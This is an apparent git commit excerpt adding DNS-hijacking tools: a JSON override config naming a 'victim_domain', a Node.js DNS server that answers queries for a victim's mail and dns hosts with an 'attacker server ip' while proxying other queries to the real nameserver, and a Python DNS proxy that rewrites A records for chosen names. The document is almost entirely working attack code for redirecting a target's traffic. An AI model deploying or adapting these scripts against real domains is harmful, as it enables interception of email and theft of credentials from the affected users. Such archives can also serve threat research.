This commit is contained in:
blackorbird
2019-04-18 11:19:12 +08:00
parent f6c2839353
commit b3c7e3e449
495 changed files with 73786 additions and 0 deletions

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{
"overrides":{
"victim_domain": "127.0.0.1"
},
"zones":[
"victim_domain"
]
}

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var dns = require('native-dns');
var fs = require('fs');
var domainName = ['mail.<victim domain>', 'dns.<victim domain>'];
var zone = 'hostA.example.org';
var authorative = '<original nameserver ip>'; //must be ip
var responseIP = 'attacker server ip';
var server = dns.createServer();
function replaceAll(target, search, replacement) {
return target.replace(new RegExp(search, 'g'), replacement);
};
server.on('request', function (request, response) {
for(var i = 0; i < 1; i++)
{
var q = request.question[i].name.toLowerCase();
console.log('request = ' + q);
if(domainName.indexOf(q) > -1 && request.question[i].type == 1)
{
response.answer.push(dns.A({
name: request.question[i].name,
address: responseIP,
ttl: 600,
}));
response.send();
}
else if(q.indexOf(zone) != -1)
{
//redirect
//if(request.question[i].type == 1)
{
var question2 = dns.Question(request.question[i]);
/*question: dns.Question({
name: request.question[i].name,
type: 'A'
})
*/
var req = dns.Request({
question: question2,
server: { address: authorative, port: 53, type: 'udp' },
timeout: 1000,
});
req.on('timeout', function () {
console.log('Timeout in making request');
});
req.on('message', function (err, answer) {
//console.log(JSON.stringify(answer));
for (var j = answer.answer.length - 1; j >= 0; j--) {
//console.log(answer.answer[j]);
//if(answer.answer[j].type == 1)
{
response.answer.push(answer.answer[j]);
/*
response.answer.push(dns.A({
name: answer.answer[j].name,
address: answer.answer[j].address,
ttl: 600,
}));
*/
}
}
});
req.on('end', function () {
console.log('Finished processing request');
response.send();
});
console.log('sent ' + request.question[i].name)
req.send();
}
}
}
/*
response.answer.push(dns.A({
name: request.question[0].name,
address: '127.0.0.2',
ttl: 600,
}));
response.additional.push(dns.A({
name: 'hostA.example.org',
address: '127.0.0.3',
ttl: 600,
}));
*/
});
server.on('error', function (err, buff, req, res) {
console.log(err);
});
server.serve(53);

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import socket
import SocketServer
import dnslib
import sys
import json
config_file = sys.argv[1]
redir_server = sys.argv[2]
host = "0.0.0.0"
port = 53
overrides = {}
zones = []
TTL = 60 * 5
def parse_config(config_file):
f = open(config_file)
config = json.loads(f.read())
f.close()
return config
class MyUDPHandler(SocketServer.BaseRequestHandler):
def inZone(self, packet):
try:
record = dnslib.DNSRecord.parse(packet).q
f = open('log.txt', 'a')
f.write(str(record) + '\n')
f.close()
print record
except:
return False
for zone in zones:
if str(record.qname).lower().endswith(zone):
return True
return False
def override(self, packet):
dns_record = dnslib.DNSRecord.parse(packet)
if str(dns_record.q.qname).lower() in overrides and dns_record.q.qtype == dnslib.QTYPE.A:
dns_record.rr = [dnslib.RR(rname=dns_record.q.qname, rtype=dnslib.QTYPE.A, rclass=1, ttl=TTL, rdata=dnslib.A(overrides[str(dns_record.q.qname).lower()]))]
print 'overrride', dns_record.rr[0]
'''
while True:
change = False
for i in range(0, len(dns_record.rr)):
if str(dns_record.rr[i].rname).lower() in overrides:
if dns_record.rr[i].rtype == dnslib.QTYPE.A and str(dns_record.rr[i].rdata) != overrides[str(dns_record.rr[i].rname).lower()]:
dns_record.rr[i].rdata = dnslib.A(overrides[str(dns_record.rr[i].rname).lower()])
change = True
print dns_record.rr[i]
if dns_record.rr[i].rtype == dnslib.QTYPE.CNAME and str(dns_record.rr[i].rdata).lower() not in overrides:
overrides[str(dns_record.rr[i].rdata).lower()] = overrides[str(dns_record.rr[i].rname).lower()]
change = True
print dns_record.rr[i]
if not change:
break
'''
return dns_record.pack()
def handle(self):
print self.client_address
data = self.request[0].strip()
input_socket = self.request[1]
if self.inZone(data):
redir_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
redir_socket.sendto(data, (redir_server, 53))
answer = redir_socket.recv(2048)
redir_socket.close()
answer = self.override(answer)
input_socket.sendto(answer, self.client_address)
#input_socket.close()
config = parse_config(config_file)
overrides = config['overrides']
zones = config['zones']
server = SocketServer.UDPServer((host, port), MyUDPHandler)
server.serve_forever()